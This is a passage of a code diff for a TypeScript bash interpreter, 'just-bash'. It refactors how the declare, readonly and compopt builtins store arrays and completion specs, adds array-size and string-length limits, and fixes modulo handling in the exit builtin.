diff --git a/packages/just-bash/src/interpreter/builtins/compopt.test.ts b/packages/just-bash/src/interpreter/builtins/compopt.test.ts
index 757e9f81..ec97b42a 100644
--- a/packages/just-bash/src/interpreter/builtins/compopt.test.ts
+++ b/packages/just-bash/src/interpreter/builtins/compopt.test.ts
@@ -1,4 +1,6 @@
 import { describe, expect, test } from "vitest";
+import { ExecutionScope } from "../../execution-scope.js";
+import { resolveLimits } from "../../limits.js";
 import type { InterpreterContext, InterpreterState } from "../types.js";
 import { handleComplete } from "./complete.js";
 import { handleCompopt } from "./compopt.js";
@@ -61,6 +63,7 @@ function createMockCtx(): InterpreterContext {
     fs: {} as unknown as InterpreterContext["fs"],
     commands: {} as unknown as InterpreterContext["commands"],
     limits: {} as unknown as InterpreterContext["limits"],
+    executionScope: new ExecutionScope(resolveLimits()),
     execFn: async () => ({ stdout: "", stderr: "", exitCode: 0 }),
     executeScript: async () => ({ stdout: "", stderr: "", exitCode: 0 }),
     executeStatement: async () => ({ stdout: "", stderr: "", exitCode: 0 }),
@@ -101,7 +104,7 @@ describe("compopt builtin", () => {
     ]);
     expect(result.exitCode).toBe(0);
 
-    const spec = ctx.state.completionSpecs?.get("__default__");
+    const spec = ctx.state.defaultCompletionSpec;
     expect(spec).toBeDefined();
     expect(spec?.options).toContain("nospace");
     expect(spec?.options).toContain("filenames");
@@ -112,7 +115,7 @@ describe("compopt builtin", () => {
     const result = handleCompopt(ctx, ["-E", "-o", "default"]);
     expect(result.exitCode).toBe(0);
 
-    const spec = ctx.state.completionSpecs?.get("__empty__");
+    const spec = ctx.state.emptyCompletionSpec;
     expect(spec).toBeDefined();
     expect(spec?.options).toContain("default");
   });
diff --git a/packages/just-bash/src/interpreter/builtins/compopt.ts b/packages/just-bash/src/interpreter/builtins/compopt.ts
index a52f324f..a22aef0e 100644
--- a/packages/just-bash/src/interpreter/builtins/compopt.ts
+++ b/packages/just-bash/src/interpreter/builtins/compopt.ts
@@ -26,7 +26,7 @@
 
 import type { ExecResult } from "../../types.js";
 import { failure, success } from "../helpers/result.js";
-import type { InterpreterContext } from "../types.js";
+import type { CompletionSpec, InterpreterContext } from "../types.js";
 
 // Valid completion options for -o/+o flags
 const VALID_OPTIONS = [
@@ -96,7 +96,7 @@ export function handleCompopt(
 
   // If -D flag is set, modify default completion
   if (isDefault) {
-    const spec = ctx.state.completionSpecs.get("__default__") ?? {
+    const spec = ctx.state.defaultCompletionSpec ?? {
       isDefault: true,
     };
     const currentOptions = new Set(spec.options ?? []);
@@ -113,14 +113,14 @@ export function handleCompopt(
 
     spec.options =
       currentOptions.size > 0 ? Array.from(currentOptions) : undefined;
-    ctx.state.completionSpecs.set("__default__", spec);
+    ctx.state.defaultCompletionSpec = spec;
     return success("");
   }
 
   // If -E flag is set, modify empty-line completion
   if (isEmptyLine) {
-    // @banned-pattern-ignore: completion spec with known structure (options array)
-    const spec = ctx.state.completionSpecs.get("__empty__") ?? {};
+    const spec: CompletionSpec =
+      ctx.state.emptyCompletionSpec ?? Object.create(null);
     const currentOptions = new Set(spec.options ?? []);
 
     // Enable options
@@ -135,7 +135,7 @@ export function handleCompopt(
 
     spec.options =
       currentOptions.size > 0 ? Array.from(currentOptions) : undefined;
-    ctx.state.completionSpecs.set("__empty__", spec);
+    ctx.state.emptyCompletionSpec = spec;
     return success("");
   }
 
diff --git a/packages/just-bash/src/interpreter/builtins/declare-array-parsing.ts b/packages/just-bash/src/interpreter/builtins/declare-array-parsing.ts
index 1e8bcd9e..008e4abd 100644
--- a/packages/just-bash/src/interpreter/builtins/declare-array-parsing.ts
+++ b/packages/just-bash/src/interpreter/builtins/declare-array-parsing.ts
@@ -4,10 +4,41 @@
  * Handles parsing of array literal syntax for the declare builtin.
  */
 
+import { utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../errors.js";
+
+export interface ArrayParseLimits {
+  maxElements: number;
+  maxStringBytes: number;
+}
+
+function pushParsed<T>(
+  values: T[],
+  value: T,
+  limits: ArrayParseLimits | undefined,
+): void {
+  if (limits && values.length >= limits.maxElements) {
+    throw new ExecutionLimitError(
+      `array element limit exceeded (${limits.maxElements})`,
+      "array_elements",
+    );
+  }
+  values.push(value);
+}
+
 /**
  * Parse array elements from content like "1 2 3" or "'a b' c d"
  */
-export function parseArrayElements(content: string): string[] {
+export function parseArrayElements(
+  content: string,
+  limits?: ArrayParseLimits,
+): string[] {
+  if (limits && utf8ByteLength(content) > limits.maxStringBytes) {
+    throw new ExecutionLimitError(
+      `array assignment string limit exceeded (${limits.maxStringBytes} bytes)`,
+      "string_length",
+    );
+  }
   const elements: string[] = [];
   let current = "";
   let inSingleQuote = false;
@@ -52,7 +83,7 @@ export function parseArrayElements(content: string): string[] {
       !inDoubleQuote
     ) {
       if (hasContent) {
-        elements.push(current);
+        pushParsed(elements, current, limits);
         current = "";
         hasContent = false;
       }
@@ -62,7 +93,7 @@ export function parseArrayElements(content: string): string[] {
     hasContent = true;
   }
   if (hasContent) {
-    elements.push(current);
+    pushParsed(elements, current, limits);
   }
   return elements;
 }
@@ -71,7 +102,16 @@ export function parseArrayElements(content: string): string[] {
  * Parse associative array literal content like "['foo']=bar ['spam']=42"
  * Returns array of [key, value] pairs
  */
-export function parseAssocArrayLiteral(content: string): [string, string][] {
+export function parseAssocArrayLiteral(
+  content: string,
+  limits?: ArrayParseLimits,
+): [string, string][] {
+  if (limits && utf8ByteLength(content) > limits.maxStringBytes) {
+    throw new ExecutionLimitError(
+      `array assignment string limit exceeded (${limits.maxStringBytes} bytes)`,
+      "string_length",
+    );
+  }
   const entries: [string, string][] = [];
   let pos = 0;
 
@@ -143,7 +183,7 @@ export function parseAssocArrayLiteral(content: string): [string, string][] {
       }
     }
 
-    entries.push([key, value]);
+    pushParsed(entries, [key, value], limits);
   }
 
   return entries;
diff --git a/packages/just-bash/src/interpreter/builtins/declare-print.ts b/packages/just-bash/src/interpreter/builtins/declare-print.ts
index c5ba0a3f..3248cd4c 100644
--- a/packages/just-bash/src/interpreter/builtins/declare-print.ts
+++ b/packages/just-bash/src/interpreter/builtins/declare-print.ts
@@ -5,7 +5,12 @@
  */
 
 import type { ExecResult } from "../../types.js";
-import { getArrayIndices, getAssocArrayKeys } from "../helpers/array.js";
+import {
+  getArrayElement,
+  getArrayIndices,
+  getAssocArrayKeys,
+  hasArray,
+} from "../helpers/array.js";
 import { isNameref } from "../helpers/nameref.js";
 import {
   quoteArrayValue,
@@ -65,18 +70,12 @@ function getVariableFlags(ctx: InterpreterContext, name: string): string {
  * - Empty strings or values with spaces/special chars: single-quoted with escaping
  */
 function formatAssocValue(value: string): string {
-  // Empty string needs quotes
-  if (value === "") {
-    return "''";
-  }
-  // If value contains spaces, single quotes, or other special chars, quote it
-  if (/[\s'\\]/.test(value)) {
-    // Escape single quotes as '\'' (end quote, escaped quote, start quote)
-    const escaped = value.replace(/'/g, "'\\''");
-    return `'${escaped}'`;
-  }
-  // Simple value - no quotes needed
-  return value;
+  return quoteValue(value);
+}
+
+/** Bash's declare output always quotes associative keys, even simple ones. */
+function formatAssocKey(key: string): string {
+  return `'${key.replace(/'/g, `'\\''`)}'`;
 }
 
 /**
@@ -103,10 +102,9 @@ export function printSpecificVariables(
         stdout += `declare -A ${name}=()\n`;
       } else {
         const elements = keys.map((key) => {
-          const value = ctx.state.env.get(`${name}_${key}`) ?? "";
-          // Format: ['key']=value (single quotes around key)
+          const value = getArrayElement(ctx, name, key) ?? "";
           const formattedValue = formatAssocValue(value);
-          return `['${key}']=${formattedValue}`;
+          return `[${formatAssocKey(key)}]=${formattedValue}`;
         });
         stdout += `declare -A ${name}=(${elements.join(" ")})\n`;
       }
@@ -117,15 +115,15 @@ export function printSpecificVariables(
     const arrayIndices = getArrayIndices(ctx, name);
     if (arrayIndices.length > 0) {
       const elements = arrayIndices.map((index) => {
-        const value = ctx.state.env.get(`${name}_${index}`) ?? "";
+        const value = getArrayElement(ctx, name, index) ?? "";
         return `[${index}]=${quoteArrayValue(value)}`;
       });
       stdout += `declare -a ${name}=(${elements.join(" ")})\n`;
       continue;
     }
 
-    // Check if this is an empty array (has __length marker but no elements)
-    if (ctx.state.env.has(`${name}__length`)) {
+    // Check if this is a declared empty array.
+    if (hasArray(ctx, name)) {
       stdout += `declare -a ${name}=()\n`;
       continue;
     }
@@ -185,29 +183,13 @@ export function printAllVariables(
 
   let stdout = "";
 
-  // Collect all variable names (excluding internal markers like __length)
+  // Collect scalar and array variable names from their distinct namespaces.
   const varNames = new Set<string>();
   for (const key of ctx.state.env.keys()) {
     if (key.startsWith("BASH_")) continue;
-    // For __length markers, extract the base name (for empty arrays)
-    if (key.endsWith("__length")) {
-      const baseName = key.slice(0, -8);
-      varNames.add(baseName);
-      continue;
-    }
-    // For array elements (name_index), extract base name
-    const underscoreIdx = key.lastIndexOf("_");
-    if (underscoreIdx > 0) {
-      const baseName = key.slice(0, underscoreIdx);
-      const suffix = key.slice(underscoreIdx + 1);
-      // If suffix is numeric or baseName is an array, it's an array element
-      if (/^\d+$/.test(suffix) || ctx.state.associativeArrays?.has(baseName)) {
-        varNames.add(baseName);
-        continue;
-      }
-    }
     varNames.add(key);
   }
+  for (const name of ctx.state.arrays?.keys() ?? []) varNames.add(name);
 
   // Also include local variables if we're in a function scope
   if (ctx.state.localVarDepth) {
@@ -233,9 +215,7 @@ export function printAllVariables(
 
     // Check if this is an indexed array (not associative)
     const arrayIndices = getArrayIndices(ctx, name);
-    const isIndexedArray =
-      !isAssoc &&
-      (arrayIndices.length > 0 || ctx.state.env.has(`${name}__length`));
+    const isIndexedArray = !isAssoc && hasArray(ctx, name);
 
     // Apply filters if set
     if (hasFilter) {
@@ -257,10 +237,10 @@ export function printAllVariables(
         stdout += `declare -A ${name}=()\n`;
       } else {
         const elements = keys.map((key) => {
-          const value = ctx.state.env.get(`${name}_${key}`) ?? "";
+          const value = getArrayElement(ctx, name, key) ?? "";
           // Format: ['key']=value (single quotes around key)
           const formattedValue = formatAssocValue(value);
-          return `['${key}']=${formattedValue}`;
+          return `[${formatAssocKey(key)}]=${formattedValue}`;
         });
         stdout += `declare -A ${name}=(${elements.join(" ")})\n`;
       }
@@ -270,7 +250,7 @@ export function printAllVariables(
     // Check if this is an indexed array
     if (arrayIndices.length > 0) {
       const elements = arrayIndices.map((index) => {
-        const value = ctx.state.env.get(`${name}_${index}`) ?? "";
+        const value = getArrayElement(ctx, name, index) ?? "";
         return `[${index}]=${quoteArrayValue(value)}`;
       });
       stdout += `declare -a ${name}=(${elements.join(" ")})\n`;
@@ -278,7 +258,7 @@ export function printAllVariables(
     }
 
     // Check if this is an empty array
-    if (ctx.state.env.has(`${name}__length`)) {
+    if (hasArray(ctx, name)) {
       stdout += `declare -a ${name}=()\n`;
       continue;
     }
@@ -311,10 +291,10 @@ export function listAssociativeArrays(ctx: InterpreterContext): ExecResult {
     } else {
       // Non-empty associative array: format as (['key']=value ...)
       const elements = keys.map((key) => {
-        const value = ctx.state.env.get(`${name}_${key}`) ?? "";
+        const value = getArrayElement(ctx, name, key) ?? "";
         // Format: ['key']=value (single quotes around key)
         const formattedValue = formatAssocValue(value);
-        return `['${key}']=${formattedValue}`;
+        return `[${formatAssocKey(key)}]=${formattedValue}`;
       });
       stdout += `declare -A ${name}=(${elements.join(" ")})\n`;
     }
@@ -331,32 +311,11 @@ export function listIndexedArrays(ctx: InterpreterContext): ExecResult {
   let stdout = "";
 
   // Find all indexed arrays
-  const arrayNames = new Set<string>();
-  for (const key of ctx.state.env.keys()) {
-    if (key.startsWith("BASH_")) continue;
-    // Check for __length marker (empty arrays)
-    if (key.endsWith("__length")) {
-      const baseName = key.slice(0, -8);
-      // Make sure it's not an associative array
-      if (!ctx.state.associativeArrays?.has(baseName)) {
-        arrayNames.add(baseName);
-      }
-      continue;
-    }
-    // Check for numeric index pattern (name_index)
-    const lastUnderscore = key.lastIndexOf("_");
-    if (lastUnderscore > 0) {
-      const baseName = key.slice(0, lastUnderscore);
-      const suffix = key.slice(lastUnderscore + 1);
-      // If suffix is numeric, it's an array element
-      if (/^\d+$/.test(suffix)) {
-        // Make sure it's not an associative array
-        if (!ctx.state.associativeArrays?.has(baseName)) {
-          arrayNames.add(baseName);
-        }
-      }
-    }
-  }
+  const arrayNames = new Set(
+    Array.from(ctx.state.arrays ?? [])
+      .filter(([, array]) => array.kind === "indexed")
+      .map(([name]) => name),
+  );
 
   // Output each array in sorted order
   const sortedNames = Array.from(arrayNames).sort();
@@ -368,7 +327,7 @@ export function listIndexedArrays(ctx: InterpreterContext): ExecResult {
     } else {
       // Non-empty array: format as ([index]="value" ...)
       const elements = indices.map((index) => {
-        const value = ctx.state.env.get(`${name}_${index}`) ?? "";
+        const value = getArrayElement(ctx, name, index) ?? "";
         return `[${index}]=${quoteArrayValue(value)}`;
       });
       stdout += `declare -a ${name}=(${elements.join(" ")})\n`;
@@ -385,27 +344,10 @@ export function listIndexedArrays(ctx: InterpreterContext): ExecResult {
 export function listAllVariables(ctx: InterpreterContext): ExecResult {
   let stdout = "";
 
-  // Collect all variable names (excluding internal markers)
+  // Scalar variables remain independent even when their names resemble arrays.
   const varNames = new Set<string>();
   for (const key of ctx.state.env.keys()) {
     if (key.startsWith("BASH_")) continue;
-    // For __length markers, extract the base name (for arrays)
-    if (key.endsWith("__length")) {
-      const baseName = key.slice(0, -8);
-      varNames.add(baseName);
-      continue;
-    }
-    // For array elements (name_index), extract base name
-    const underscoreIdx = key.lastIndexOf("_");
-    if (underscoreIdx > 0) {
-      const baseName = key.slice(0, underscoreIdx);
-      const suffix = key.slice(underscoreIdx + 1);
-      // If suffix is numeric or baseName is an associative array
-      if (/^\d+$/.test(suffix) || ctx.state.associativeArrays?.has(baseName)) {
-        varNames.add(baseName);
-        continue;
-      }
-    }
     varNames.add(key);
   }
 
@@ -420,7 +362,7 @@ export function listAllVariables(ctx: InterpreterContext): ExecResult {
 
     // Check if this is an indexed array
     const arrayIndices = getArrayIndices(ctx, name);
-    if (arrayIndices.length > 0 || ctx.state.env.has(`${name}__length`)) {
+    if (arrayIndices.length > 0 || hasArray(ctx, name)) {
       // Skip indexed arrays for simple declare output
       continue;
     }
diff --git a/packages/just-bash/src/interpreter/builtins/declare.ts b/packages/just-bash/src/interpreter/builtins/declare.ts
index d5076088..6130c7ec 100644
--- a/packages/just-bash/src/interpreter/builtins/declare.ts
+++ b/packages/just-bash/src/interpreter/builtins/declare.ts
@@ -14,11 +14,23 @@
  * Also aliased as 'typeset'
  */
 
+import { boundedJoin } from "../../bounded-builder.js";
 import { parseArithmeticExpression } from "../../parser/arithmetic-parser.js";
 import { Parser } from "../../parser/parser.js";
 import type { ExecResult } from "../../types.js";
 import { evaluateArithmetic } from "../arithmetic.js";
-import { clearArray, getArrayIndices } from "../helpers/array.js";
+import { applyAssignmentTildeExpansion } from "../expansion/tilde.js";
+import {
+  assertArrayKeysFit,
+  clearArray,
+  cloneArray,
+  getArray,
+  getArrayElement,
+  getArrayIndices,
+  hasArray,
+  setArrayElement,
+  setArrayKind,
+} from "../helpers/array.js";
 import {
   isNameref,
   markNameref,
@@ -35,7 +47,6 @@ import {
   unmarkExported,
 } from "../helpers/readonly.js";
 import { OK, result, success } from "../helpers/result.js";
-import { expandTildesInValue } from "../helpers/tilde.js";
 import type { InterpreterContext } from "../types.js";
 import {
   parseArrayElements,
@@ -188,6 +199,10 @@ export async function handleDeclare(
   ctx: InterpreterContext,
   args: string[],
 ): Promise<ExecResult> {
+  const arrayParseLimits = {
+    maxElements: ctx.limits.maxArrayElements,
+    maxStringBytes: ctx.limits.maxStringLength,
+  };
   // Parse flags
   let declareArray = false;
   let declareAssoc = false;
@@ -309,19 +324,14 @@ export async function handleDeclare(
     if (!currentScope.has(name)) {
       currentScope.set(name, ctx.state.env.get(name));
     }
-    // Save array elements
-    const prefix = `${name}_`;
-    for (const key of ctx.state.env.keys()) {
-      if (key.startsWith(prefix) && !key.includes("__")) {
-        if (!currentScope.has(key)) {
-          currentScope.set(key, ctx.state.env.get(key));
-        }
-      }
+    ctx.state.localArrayScopes ??= [];
+    while (ctx.state.localArrayScopes.length < ctx.state.localScopes.length) {
+      ctx.state.localArrayScopes.push(new Map());
     }
-    // Save length metadata
-    const lengthKey = `${name}__length`;
-    if (ctx.state.env.has(lengthKey) && !currentScope.has(lengthKey)) {
-      currentScope.set(lengthKey, ctx.state.env.get(lengthKey));
+    const arrayScope = ctx.state.localArrayScopes.at(-1);
+    if (arrayScope && !arrayScope.has(name)) {
+      const array = getArray(ctx, name);
+      arrayScope.set(name, array ? cloneArray(array) : undefined);
     }
   };
 
@@ -424,6 +434,9 @@ export async function handleDeclare(
       const name = arrayMatch[1];
       const content = arrayMatch[2];
 
+      const readonlyError = checkReadonlyError(ctx, name);
+      if (readonlyError) return readonlyError;
+
       // Check for type conversion errors
       // Cannot convert indexed array to associative array
       if (declareAssoc) {
@@ -444,6 +457,27 @@ export async function handleDeclare(
         }
       }
 
+      // Parse and enforce collection limits before changing array kind or
+      // clearing the existing value. Associative bare syntax consumes two
+      // tokens per retained entry.
+      const parsedAssocEntries =
+        declareAssoc && content.includes("[")
+          ? parseAssocArrayLiteral(content, arrayParseLimits)
+          : undefined;
+      const parsedElements =
+        parsedAssocEntries === undefined
+          ? parseArrayElements(content, {
+              ...arrayParseLimits,
+              maxElements: declareAssoc
+                ? arrayParseLimits.maxElements * 2
+                : arrayParseLimits.maxElements,
+            })
+          : undefined;
+      ctx.executionScope.consumeWork(
+        parsedAssocEntries?.length ?? parsedElements?.length ?? 0,
+        "declare array assignment",
+      );
+
       // Save to local scope before modifying (for local variable restoration)
       saveArrayToLocalScope(name);
 
@@ -451,6 +485,9 @@ export async function handleDeclare(
       if (declareAssoc) {
         ctx.state.associativeArrays ??= new Set();
         ctx.state.associativeArrays.add(name);
+        setArrayKind(ctx, name, "associative");
+      } else {
+        setArrayKind(ctx, name, "indexed");
       }
 
       // Clear existing array elements before assigning new ones
@@ -458,32 +495,31 @@ export async function handleDeclare(
       clearArray(ctx, name);
       // Also clear the scalar value and length marker
       ctx.state.env.delete(name);
-      ctx.state.env.delete(`${name}__length`);
 
       // Check if this is associative array literal syntax: (['key']=value ...)
       if (declareAssoc && content.includes("[")) {
-        const entries = parseAssocArrayLiteral(content);
-        for (const [key, rawValue] of entries) {
-          // Apply tilde expansion to the value
-          const value = expandTildesInValue(ctx, rawValue);
-          ctx.state.env.set(`${name}_${key}`, value);
+        for (const [key, rawValue] of parsedAssocEntries ?? []) {
+          setArrayElement(
+            ctx,
+            name,
+            key,
+            applyAssignmentTildeExpansion(ctx, rawValue),
+            "associative",
+          );
         }
       } else if (declareAssoc) {
         // For associative arrays without [key]=value syntax,
         // bash treats bare values as alternating key-value pairs
         // e.g., (1 2 3) becomes ['1']=2, ['3']=''
-        const elements = parseArrayElements(content);
+        const elements = parsedElements ?? [];
         for (let i = 0; i < elements.length; i += 2) {
           const key = elements[i];
-          const value =
-            i + 1 < elements.length
-              ? expandTildesInValue(ctx, elements[i + 1])
-              : "";
-          ctx.state.env.set(`${name}_${key}`, value);
+          const value = i + 1 < elements.length ? elements[i + 1] : "";
+          setArrayElement(ctx, name, key, value, "associative");
         }
       } else {
         // Parse as indexed array elements
-        const elements = parseArrayElements(content);
+        const elements = parsedElements ?? [];
         // Check if any element has [index]=value syntax (index can be number, variable, or expression)
         const hasKeyedElements = elements.some((el) => /^\[[^\]]+\]=/.test(el));
         if (hasKeyedElements) {
@@ -496,7 +532,6 @@ export async function handleDeclare(
             if (keyedMatch) {
               const indexExpr = keyedMatch[1];
               const rawValue = keyedMatch[2];
-              const value = expandTildesInValue(ctx, rawValue);
               // Evaluate index as arithmetic expression (handles numbers, variables, expressions)
               let index: number;
               if (/^-?\d+$/.test(indexExpr)) {
@@ -512,22 +547,24 @@ export async function handleDeclare(
                   index = 0;
                 }
               }
-              ctx.state.env.set(`${name}_${index}`, value);
+              setArrayElement(
+                ctx,
+                name,
+                index,
+                applyAssignmentTildeExpansion(ctx, rawValue),
+              );
               currentIndex = index + 1;
             } else {
               // Non-keyed element: use currentIndex and increment
-              const value = expandTildesInValue(ctx, element);
-              ctx.state.env.set(`${name}_${currentIndex}`, value);
+              setArrayElement(ctx, name, currentIndex, element);
               currentIndex++;
             }
           }
         } else {
           // Simple sequential assignment
           for (let i = 0; i < elements.length; i++) {
-            ctx.state.env.set(`${name}_${i}`, elements[i]);
+            setArrayElement(ctx, name, i, elements[i]);
           }
-          // Store array length marker
-          ctx.state.env.set(`${name}__length`, String(elements.length));
         }
       }
 
@@ -590,16 +627,7 @@ export async function handleDeclare(
       }
 
       // Set the array element
-      ctx.state.env.set(`${name}_${index}`, value);
-
-      // Update array length if needed
-      const currentLength = parseInt(
-        ctx.state.env.get(`${name}__length`) ?? "0",
-        10,
-      );
-      if (index >= currentLength) {
-        ctx.state.env.set(`${name}__length`, String(index + 1));
-      }
+      setArrayElement(ctx, name, index, value);
 
       // Mark as local if inside a function
       markAsLocalIfNeeded(name);
@@ -629,17 +657,26 @@ export async function handleDeclare(
       saveArrayToLocalScope(name);
 
       // Parse new elements
-      const newElements = parseArrayElements(content);
+      const newElements = parseArrayElements(content, arrayParseLimits);
 
       // Check if this is an associative array
       if (ctx.state.associativeArrays?.has(name)) {
         // For associative arrays, we need keyed elements: ([key]=value ...)
-        const entries = parseAssocArrayLiteral(content);
+        const entries = parseAssocArrayLiteral(content, arrayParseLimits);
+        ctx.executionScope.consumeWork(entries.length, "declare array append");
+        assertArrayKeysFit(
+          ctx,
+          name,
+          entries.map(([key]) => key),
+        );
         for (const [key, rawValue] of entries) {
-          const value = expandTildesInValue(ctx, rawValue);
-          ctx.state.env.set(`${name}_${key}`, value);
+          setArrayElement(ctx, name, key, rawValue, "associative");
         }
       } else {
+        ctx.executionScope.consumeWork(
+          newElements.length,
+          "declare array append",
+        );
         // For indexed arrays, get current highest index and append
         const existingIndices = getArrayIndices(ctx, name);
 
@@ -648,7 +685,7 @@ export async function handleDeclare(
         const scalarValue = ctx.state.env.get(name);
         if (existingIndices.length === 0 && scalarValue !== undefined) {
           // Variable exists as scalar - convert to array element 0
-          ctx.state.env.set(`${name}_0`, scalarValue);
+          setArrayElement(ctx, name, 0, scalarValue);
           ctx.state.env.delete(name);
           startIndex = 1;
         } else if (existingIndices.length > 0) {
@@ -656,17 +693,16 @@ export async function handleDeclare(
           startIndex = Math.max(...existingIndices) + 1;
         }
 
+        assertArrayKeysFit(
+          ctx,
+          name,
+          Array.from({ length: newElements.length }, (_, i) => startIndex + i),
+        );
+
         // Append new elements
         for (let i = 0; i < newElements.length; i++) {
-          ctx.state.env.set(
-            `${name}_${startIndex + i}`,
-            expandTildesInValue(ctx, newElements[i]),
-          );
+          setArrayElement(ctx, name, startIndex + i, newElements[i]);
         }
-
-        // Update length marker
-        const newLength = startIndex + newElements.length;
-        ctx.state.env.set(`${name}__length`, String(newLength));
       }
 
       // Mark as local if inside a function
@@ -685,7 +721,7 @@ export async function handleDeclare(
     const appendMatch = arg.match(/^([a-zA-Z_][a-zA-Z0-9_]*)\+=(.*)$/);
     if (appendMatch) {
       const name = appendMatch[1];
-      let appendValue = expandTildesInValue(ctx, appendMatch[2]);
+      let appendValue = appendMatch[2];
 
       // Check if variable is readonly
       const error = checkReadonlyError(ctx, name);
@@ -725,16 +761,33 @@ export async function handleDeclare(
       } else if (isArray) {
         // For arrays, append to element 0 (bash behavior)
         appendValue = applyCaseTransform(ctx, name, appendValue);
-        const element0Key = `${name}_0`;
-        const existing = ctx.state.env.get(element0Key) ?? "";
-        ctx.state.env.set(element0Key, existing + appendValue);
+        const existing = getArrayElement(ctx, name, 0) ?? "";
+        setArrayElement(
+          ctx,
+          name,
+          0,
+          boundedJoin(
+            [existing, appendValue],
+            "",
+            ctx.limits.maxStringLength,
+            "declare append",
+          ),
+        );
       } else {
         // Apply case transformation
         appendValue = applyCaseTransform(ctx, name, appendValue);
 
         // Append to existing value (or set if not defined)
         const existing = ctx.state.env.get(name) ?? "";
-        ctx.state.env.set(name, existing + appendValue);
+        ctx.state.env.set(
+          name,
+          boundedJoin(
+            [existing, appendValue],
+            "",
+            ctx.limits.maxStringLength,
+            "declare append",
+          ),
+        );
       }
 
       // Mark as local if inside a function
@@ -923,17 +976,15 @@ export async function handleDeclare(
         }
         ctx.state.associativeArrays ??= new Set();
         ctx.state.associativeArrays.add(name);
+        setArrayKind(ctx, name, "associative");
       }
 
       // Check if any array elements exist (numeric or string keys)
-      const hasArrayElements = Array.from(ctx.state.env.keys()).some(
-        (key) =>
-          key.startsWith(`${name}_`) && !key.startsWith(`${name}__length`),
-      );
+      const hasArrayElements = hasArray(ctx, name);
       if (!ctx.state.env.has(name) && !hasArrayElements) {
         // If declaring as array, initialize empty array
         if (declareArray || declareAssoc) {
-          ctx.state.env.set(`${name}__length`, "0");
+          setArrayKind(ctx, name, declareAssoc ? "associative" : "indexed");
         } else {
           // Mark variable as declared but don't set a value
           // This distinguishes "declare x" (unset) from "declare x=" (empty string)
@@ -968,6 +1019,10 @@ export async function handleReadonly(
   ctx: InterpreterContext,
   args: string[],
 ): Promise<ExecResult> {
+  const arrayParseLimits = {
+    maxElements: ctx.limits.maxArrayElements,
+    maxStringBytes: ctx.limits.maxStringLength,
+  };
   // Parse flags
   let _declareArray = false;
   let _declareAssoc = false;
@@ -1018,17 +1073,26 @@ export async function handleReadonly(
       if (error) return error;
 
       // Parse new elements
-      const newElements = parseArrayElements(content);
+      const newElements = parseArrayElements(content, arrayParseLimits);
 
       // Check if this is an associative array
       if (ctx.state.associativeArrays?.has(name)) {
         // For associative arrays, we need keyed elements: ([key]=value ...)
-        const entries = parseAssocArrayLiteral(content);
+        const entries = parseAssocArrayLiteral(content, arrayParseLimits);
+        ctx.executionScope.consumeWork(entries.length, "readonly array append");
+        assertArrayKeysFit(
+          ctx,
+          name,
+          entries.map(([key]) => key),
+        );
         for (const [key, rawValue] of entries) {
-          const value = expandTildesInValue(ctx, rawValue);
-          ctx.state.env.set(`${name}_${key}`, value);
+          setArrayElement(ctx, name, key, rawValue, "associative");
         }
       } else {
+        ctx.executionScope.consumeWork(
+          newElements.length,
+          "readonly array append",
+        );
         // For indexed arrays, get current highest index and append
         const existingIndices = getArrayIndices(ctx, name);
 
@@ -1037,7 +1101,7 @@ export async function handleReadonly(
         const scalarValue = ctx.state.env.get(name);
         if (existingIndices.length === 0 && scalarValue !== undefined) {
           // Variable exists as scalar - convert to array element 0
-          ctx.state.env.set(`${name}_0`, scalarValue);
+          setArrayElement(ctx, name, 0, scalarValue);
           ctx.state.env.delete(name);
           startIndex = 1;
         } else if (existingIndices.length > 0) {
@@ -1045,17 +1109,16 @@ export async function handleReadonly(
           startIndex = Math.max(...existingIndices) + 1;
         }
 
+        assertArrayKeysFit(
+          ctx,
+          name,
+          Array.from({ length: newElements.length }, (_, i) => startIndex + i),
+        );
+
         // Append new elements
         for (let i = 0; i < newElements.length; i++) {
-          ctx.state.env.set(
-            `${name}_${startIndex + i}`,
-            expandTildesInValue(ctx, newElements[i]),
-          );
+          setArrayElement(ctx, name, startIndex + i, newElements[i]);
         }
-
-        // Update length marker
-        const newLength = startIndex + newElements.length;
-        ctx.state.env.set(`${name}__length`, String(newLength));
       }
 
       markReadonly(ctx, name);
@@ -1066,7 +1129,7 @@ export async function handleReadonly(
     const appendMatch = arg.match(/^([a-zA-Z_][a-zA-Z0-9_]*)\+=(.*)$/);
     if (appendMatch) {
       const name = appendMatch[1];
-      const appendValue = expandTildesInValue(ctx, appendMatch[2]);
+      const appendValue = appendMatch[2];
 
       // Check if variable is already readonly
       const error = checkReadonlyError(ctx, name);
@@ -1074,12 +1137,20 @@ export async function handleReadonly(
 
       // Append to existing value (or set if not defined)
       const existing = ctx.state.env.get(name) ?? "";
-      ctx.state.env.set(name, existing + appendValue);
+      ctx.state.env.set(
+        name,
+        boundedJoin(
+          [existing, appendValue],
+          "",
+          ctx.limits.maxStringLength,
+          "readonly append",
+        ),
+      );
       markReadonly(ctx, name);
       continue;
     }
 
-    const assignment = parseAssignment(arg);
+    const assignment = parseAssignment(arg, arrayParseLimits);
 
     // If no value provided, just mark as readonly
     if (assignment.value === undefined && !assignment.isArray) {
diff --git a/packages/just-bash/src/interpreter/builtins/exit.test.ts b/packages/just-bash/src/interpreter/builtins/exit.test.ts
index 731df360..c2e2c096 100644
--- a/packages/just-bash/src/interpreter/builtins/exit.test.ts
+++ b/packages/just-bash/src/interpreter/builtins/exit.test.ts
@@ -51,6 +51,13 @@ describe("exit builtin", () => {
       const result = await env.exec("exit -1");
       expect(result.exitCode).toBe(255);
     });
+
+    it("preserves low bits for integers larger than Number can represent", async () => {
+      const env = new Bash();
+      const value = "9007199254740993";
+      const result = await env.exec(`exit ${value}`);
+      expect(result.exitCode).toBe(Number(BigInt(value) % 256n));
+    });
   });
 
   describe("exit in different contexts", () => {
diff --git a/packages/just-bash/src/interpreter/builtins/exit.ts b/packages/just-bash/src/interpreter/builtins/exit.ts
index fd6d0654..214a8f35 100644
--- a/packages/just-bash/src/interpreter/builtins/exit.ts
+++ b/packages/just-bash/src/interpreter/builtins/exit.ts
@@ -14,14 +14,15 @@ export function handleExit(ctx: InterpreterContext, args: string[]): never {
     exitCode = ctx.state.lastExitCode;
   } else {
     const arg = args[0];
-    const parsed = Number.parseInt(arg, 10);
     // Empty string or non-numeric is an error
-    if (arg === "" || Number.isNaN(parsed) || !/^-?\d+$/.test(arg)) {
+    if (arg === "" || !/^-?\d+$/.test(arg)) {
       stderr = `bash: exit: ${arg}: numeric argument required\n`;
       exitCode = 2;
     } else {
-      // Exit codes are modulo 256 (wrap around)
